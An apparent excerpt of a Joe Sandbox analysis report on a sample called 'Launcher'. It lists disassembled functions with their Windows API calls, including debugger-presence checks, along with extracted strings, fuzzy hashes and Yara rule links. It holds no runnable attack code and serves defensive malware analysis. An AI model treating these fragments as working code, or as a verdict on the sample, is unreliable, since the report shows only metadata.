FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 005186D9
FindNextFileW.KERNEL32(00000000,?), ref: 005187CD
FindClose.KERNEL32(00000000), ref: 0051880C
FindClose.KERNEL32(00000000), ref: 0051883F

Strings

e<k, xrefs: 005185F4

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID: e<k
API String ID: 1164774033-356446228
Opcode ID: 06204d3cd878e2d6c41005fb6bc41ebdaf594f7a796501380190c4d9bd5bc9f6
Instruction ID: cf119432271c89b58b65eb0cf88132afb69fe6b5c6dab5034287e66490dc3aad
Opcode Fuzzy Hash: 06204d3cd878e2d6c41005fb6bc41ebdaf594f7a796501380190c4d9bd5bc9f6
Instruction Fuzzy Hash: 5271DF75805129AEEF31AF249C99AFABFB9BB45300F6441D9E448A3251DF314EC59F10

Function 0051BAC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0051BDE5,00000002,00000000,?,?,?,0051BDE5,?,00000000), ref: 0051BB60
GetLocaleInfoW.KERNEL32(?,20001004,0051BDE5,00000002,00000000,?,?,?,0051BDE5,?,00000000), ref: 0051BB89
GetACP.KERNEL32(?,?,0051BDE5,?,00000000), ref: 0051BB9E

Strings

ACP, xrefs: 0051BAE5
OCP, xrefs: 0051BB1B

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3a71474894e2395edab07933f1197f0bda48799d82157f592446d2ebdb81ffdf
Instruction ID: 54f013473a501dda5efe6e36599a75b0b4b27f3b61bd75b91090264652072ce7
Opcode Fuzzy Hash: 3a71474894e2395edab07933f1197f0bda48799d82157f592446d2ebdb81ffdf
Instruction Fuzzy Hash: EE21B062B08100ABFB348F25DD40AD7BBA6FF61B60B568464E90AD7958E732DDC1D350

Function 0050CDE3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0050554A), ref: 0050CEDB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0050554A), ref: 0050CEE5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0050554A), ref: 0050CEF2

Strings

yRP, xrefs: 0050CDE5
e<k, xrefs: 0050CDEE

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: e<k$yRP
API String ID: 3906539128-4034237958
Opcode ID: ec25df3439c6476112fe9568e05bdbd45a4c8d9a8862f5431a9e9378abec353e
Instruction ID: 556be7e5fc1a85cb3f0e62991a409a365b284227f2a43b6f7f19e5f403356927
Opcode Fuzzy Hash: ec25df3439c6476112fe9568e05bdbd45a4c8d9a8862f5431a9e9378abec353e
Instruction Fuzzy Hash: 9131D47490122DABCB21DF64D888B8DBBB8BF18710F6041DAE40CA7291EB309F858F44

Function 0051B74B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0051B79F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0051B7E9
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0051B8AF

Strings

e<k, xrefs: 0051B756

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID: e<k
API String ID: 661929714-356446228
Opcode ID: 537bb383ff81239b2e1a5f1d8f764cf5b8176536df10d08400bd0055ef16d952
Instruction ID: c51e998e011206c9cdb880fbeea639e195957e3d03dd271af1269bc13208f2a7
Opcode Fuzzy Hash: 537bb383ff81239b2e1a5f1d8f764cf5b8176536df10d08400bd0055ef16d952
Instruction Fuzzy Hash: F5617D7194021BAFFB28AF28CC86BFABBA8FF14700F104169E905C6585E774D9D2DB50

Function 005083F3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,005012A2,00000002,?,00000000,yRP), ref: 0050842B
GetSystemTimeAsFileTime.KERNEL32(?,E96B3C65,?,?,0051F7AD,000000FF,yRP,00507FB5,?,00000000,00000000,yRP,00507F74,?,?,00000000), ref: 0050842F

Strings

yRP, xrefs: 005083F3
e<k, xrefs: 00508405

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: e<k$yRP
API String ID: 743729956-4034237958
Opcode ID: 436cde49185fb738e54879d8c367eaa7924d03a71e42157180689e96ab735042
Instruction ID: 7a1f17871aee99cd9d71fbf64d82a0d509da009424d3b4fca5a6f5316e360109
Opcode Fuzzy Hash: 436cde49185fb738e54879d8c367eaa7924d03a71e42157180689e96ab735042
Instruction Fuzzy Hash: 3AF0E536904954EFCB218F54EC01F6DBBF8FB08B10F40022AE812933D0DB35A8049B80

Function 00508DFE Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00508E0A
IsDebuggerPresent.KERNEL32 ref: 00508ED6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00508EEF
UnhandledExceptionFilter.KERNEL32(?), ref: 00508EF9

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6b3ba33fda1a5bb66a3ada8cf91cfae5895c2c033ae9b95676ed17d7a4b098a0
Instruction ID: 438a0b93d6ae5eccfb414bd455c592fe1a6cea2570398b912751d001fb1670e3
Opcode Fuzzy Hash: 6b3ba33fda1a5bb66a3ada8cf91cfae5895c2c033ae9b95676ed17d7a4b098a0
Instruction Fuzzy Hash: 9831F775D05219DBDF21DFA4D889BCDBBB8BF08300F1041AAE40CAB295EB719A85DF45

Function 0054FF40 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

gvrd, xrefs: 00550025
ssjx, xrefs: 0055001B
URhY, xrefs: 00550154
v~ye, xrefs: 0055002F

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: URhY$gvrd$ssjx$v~ye
API String ID: 0-4035846082
Opcode ID: 44d35a586f8527e55815e1baca9b7889ab5000cdff07baf921b70710f7b6a8ed
Instruction ID: c0d165af6cd9ee63d6aa6b61c567d67edbe08d05b972b412b44beba443fe9c31
Opcode Fuzzy Hash: 44d35a586f8527e55815e1baca9b7889ab5000cdff07baf921b70710f7b6a8ed
Instruction Fuzzy Hash: 10916AB4405F418BD3258F35C4A87A3BBE2BF96305F188A4DC4EA0B396CB762419CB95

Function 00545090 Relevance: 4.1, Strings: 3, Instructions: 381COMMON

Download Yara Rule

Strings

R-"#, xrefs: 005453E6
PR, xrefs: 005451BE
M^, xrefs: 005451C6

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: M^$PR$R-"#
API String ID: 0-1631818156
Opcode ID: ec164e0b672d301663c1d04ae8c27ee689c2e4e154fbc68229773d77b9180fd2
Instruction ID: c6d9346cda00dfb01110438ad5d39dd57ac39898b865889f28fc9d7291bd0904
Opcode Fuzzy Hash: ec164e0b672d301663c1d04ae8c27ee689c2e4e154fbc68229773d77b9180fd2
Instruction Fuzzy Hash: 64B1CD715086118BC714CF14C8927ABBBF1FF96368F588A1CE8998B392E375ED44C792

Function 00533FF0 Relevance: 4.1, Strings: 3, Instructions: 322COMMON

Download Yara Rule

Strings

.5, xrefs: 00534066
MKon, xrefs: 00534398
ec, xrefs: 0053434D

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: .5$MKon$ec
API String ID: 0-3626597794
Opcode ID: 65c72f46058a362d82517fcf54160fbc21fc3baf671db97a012c1b72d0a97deb
Instruction ID: 10a449668dc0cce51b9776422e8acd86ccfd9c6e02e8d3ce6dc81dca1499c630
Opcode Fuzzy Hash: 65c72f46058a362d82517fcf54160fbc21fc3baf671db97a012c1b72d0a97deb
Instruction Fuzzy Hash: 79B134705083818BD715CF29C49066BBFE1BF96748F18895CF4D99B262C338E94ACF96

Function 00565B00 Relevance: 3.9, Strings: 3, Instructions: 153COMMON

Download Yara Rule

Strings

1PT, xrefs: 00565C9D
1PT, xrefs: 00565C8E
@, xrefs: 00565BAD

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: 1PT$1PT$@
API String ID: 0-2047803827
Opcode ID: c239ff867e8a33dd72fd8b0ad1c6aec7148fd7ed380b6597a40fe564e7b74f0f
Instruction ID: 4f015984ed66e1a5798f5dd9b08107305ada8ade5de25aeb005de707ec58713b
Opcode Fuzzy Hash: c239ff867e8a33dd72fd8b0ad1c6aec7148fd7ed380b6597a40fe564e7b74f0f
Instruction Fuzzy Hash: DB4102B15487019FD700DF18C881B6ABBF1FF85328F198A1CE4969B3A1E774D905CB96

Function 0051B99E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0051B9F2

Strings

e<k, xrefs: 0051B9A9

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: e<k
API String ID: 3736152602-356446228
Opcode ID: 0702ff3f17d410d955daf5040c304ea515d47a316594b71c8296b56911f87325
Instruction ID: a47b445c4437d09f1febf7160288b19f65c101a08910319b623994d4797d9b68
Opcode Fuzzy Hash: 0702ff3f17d410d955daf5040c304ea515d47a316594b71c8296b56911f87325
Instruction Fuzzy Hash: 9B21AF72650206ABFB289A24DC46AFA7BACFF44300F10006AFD01C6141EB35AE85CB50

Function 0051B533 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0051B587

Strings

e<k, xrefs: 0051B53E
utf8, xrefs: 0051B4F6

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: e<k$utf8
API String ID: 3736152602-3969487663
Opcode ID: bc7188e62bd1dec4db1c8f4c914032871940669a4280aff0d3c9beba619c46ee
Instruction ID: 32e5231510128605ef321c9e1e35b7f1fbed951ba4091f9bb7e4035c185841da
Opcode Fuzzy Hash: bc7188e62bd1dec4db1c8f4c914032871940669a4280aff0d3c9beba619c46ee
Instruction Fuzzy Hash: 1EF0F432600106ABEB14AB74DC4AEFA7BADEF84310F110179B502D7281EA34AD459750

Function 005136E5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0050DBF8: EnterCriticalSection.KERNEL32(-00576D12,yRP,005101BD,00000000,00529A30), ref: 0050DC07

EnumSystemLocalesW.KERNEL32(005136D8,00000001,00529C20,0000000C,00513B07,00000000), ref: 0051371D

Strings

e<k, xrefs: 00513725

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID: e<k
API String ID: 1272433827-356446228
Opcode ID: 1e114252b25d5d17452a7d157c211f1bb24195eeed3356765219d3a7b3aa6dde
Instruction ID: 6881914ea8137aabd6bd377418d3edfb35557621a171d775780c0c7bf18b9eaa
Opcode Fuzzy Hash: 1e114252b25d5d17452a7d157c211f1bb24195eeed3356765219d3a7b3aa6dde
Instruction Fuzzy Hash: 3DF03C76A00315DFD700DF98E846B9DBBF0FB88720F10402AE4189B2D0CB755A849F50

Function 0052FE24 Relevance: 3.3, Strings: 2, Instructions: 819COMMON

Download Yara Rule

Strings

0, xrefs: 00530775
8, xrefs: 0053076D

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 3c18175f5403107def859b3ac6e1fe9d442f46c059e1eb21a69c2a4cc03caac9
Instruction ID: 9461b9a0f660418941792bc34b537916aed6149114128d8567acee80d2751dfb
Opcode Fuzzy Hash: 3c18175f5403107def859b3ac6e1fe9d442f46c059e1eb21a69c2a4cc03caac9
Instruction Fuzzy Hash: A87234716083419FD724CF18C894B9ABFE2BF89314F14892DF9899B392D375D944CB92

Function 0054F8D0 Relevance: 3.0, Strings: 2, Instructions: 543COMMON

Download Yara Rule

Strings

", xrefs: 0054FD7E
", xrefs: 0054FD46

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 9b27974690264627e3d7e50ecf5329b7a2ec7b0e998ae76c88cdfe5545865c3c
Instruction ID: 278a167264bd9c1785a4df5c37f076cc93df6e0e1f4c7609b408aff5171294f9
Opcode Fuzzy Hash: 9b27974690264627e3d7e50ecf5329b7a2ec7b0e998ae76c88cdfe5545865c3c
Instruction Fuzzy Hash: B402D072A083115FDB28CE2CD4947ABBBD6BBC5318F19893DE89A87391D734DC048782

Function 0052F2A0 Relevance: 2.9, Strings: 2, Instructions: 433COMMON

Download Yara Rule

Strings

), xrefs: 0052F327
IEND, xrefs: 0052F741

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: b785ba2acf6186ded3be8367d977a8c4263c867c516612bcf8011e8ef7ce0531
Instruction ID: 20aefce026c6c12411d66133476bd27d59615ed8ad7bad5ac9177c59360660b5
Opcode Fuzzy Hash: b785ba2acf6186ded3be8367d977a8c4263c867c516612bcf8011e8ef7ce0531
Instruction Fuzzy Hash: 4DF1BB72A083559FD710CF28E84579ABBE0BF95304F14893DF9999B381D778E904CB82

Function 005506FE Relevance: 2.9, Strings: 2, Instructions: 403COMMON

Download Yara Rule

Strings

'"D[, xrefs: 00550B05
b@R!, xrefs: 00550AF1

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: '"D[$b@R!
API String ID: 0-2094474165
Opcode ID: d3f012acd5b2e554941838fca3600eb0df0778a9d0ae81531a6be9b7fdc38ec4
Instruction ID: fa708e96027f836497b39bb5842160ef47f8a1fc0d18cbe4715783f5e8bf0258
Opcode Fuzzy Hash: d3f012acd5b2e554941838fca3600eb0df0778a9d0ae81531a6be9b7fdc38ec4
Instruction Fuzzy Hash: E2F19D70104B418ED725CF39C4A4BA3BBE1BF26306F184A5EC4EB87292D779B549CB50

Function 0055077B Relevance: 2.9, Strings: 2, Instructions: 393COMMON

Download Yara Rule

Strings

'"D[, xrefs: 00550B05
b@R!, xrefs: 00550AF1

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: '"D[$b@R!
API String ID: 0-2094474165
Opcode ID: 79dce2efe7c08aa2c66ae3519f28ccf87fae26bb5d77c6391d733684c210c514
Instruction ID: 6ccfa322156713a6b6a3af7d023e8ea78a5f2cc3d1636aa4455692b42d96048e
Opcode Fuzzy Hash: 79dce2efe7c08aa2c66ae3519f28ccf87fae26bb5d77c6391d733684c210c514
Instruction Fuzzy Hash: 84F17970504B418ED725CF38C8A4BE3BBE1AF26306F084A5EC4EB87292D779A549CB54

Function 0054B8E0 Relevance: 2.9, Strings: 2, Instructions: 384COMMON

Download Yara Rule

Strings

DJ., xrefs: 0054BD13
=PQ@, xrefs: 0054BCC1

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: =PQ@$DJ.
API String ID: 0-649149011
Opcode ID: c26efa78bfbb85bc726038765b3c938df73705bc2f2cece103cda08ab90415a2
Instruction ID: f9d6c6b4532ee353f00652878d0b074c35e16eae13827598fd38a14ef4df454e
Opcode Fuzzy Hash: c26efa78bfbb85bc726038765b3c938df73705bc2f2cece103cda08ab90415a2
Instruction Fuzzy Hash: 41C1E0B5A083028BE714DF28C8807ABBBE2FBA4358F18492DE58587351E735DD05CB92

Function 00566B80 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

pr6, xrefs: 00566D40
pr6, xrefs: 00566C60

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: pr6$pr6
API String ID: 0-558223686
Opcode ID: 8c0caaa129e953f23254bd9748908a7bf4bf9b215cf43cbf16c7f56307ebbe64
Instruction ID: 1359e65eda291b26e0cc8ae32633a880300f64bc8f7622b67550393ff44f6ff9
Opcode Fuzzy Hash: 8c0caaa129e953f23254bd9748908a7bf4bf9b215cf43cbf16c7f56307ebbe64
Instruction Fuzzy Hash: CC71C1716082019BD728CF18C891A6ABBF2FFD5314F198A2CE9959B391D735EC51CBC2

Function 00533D60 Relevance: 2.7, Strings: 2, Instructions: 208COMMON

Download Yara Rule

Strings

355>, xrefs: 00533E97
0=, xrefs: 00533DEA

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

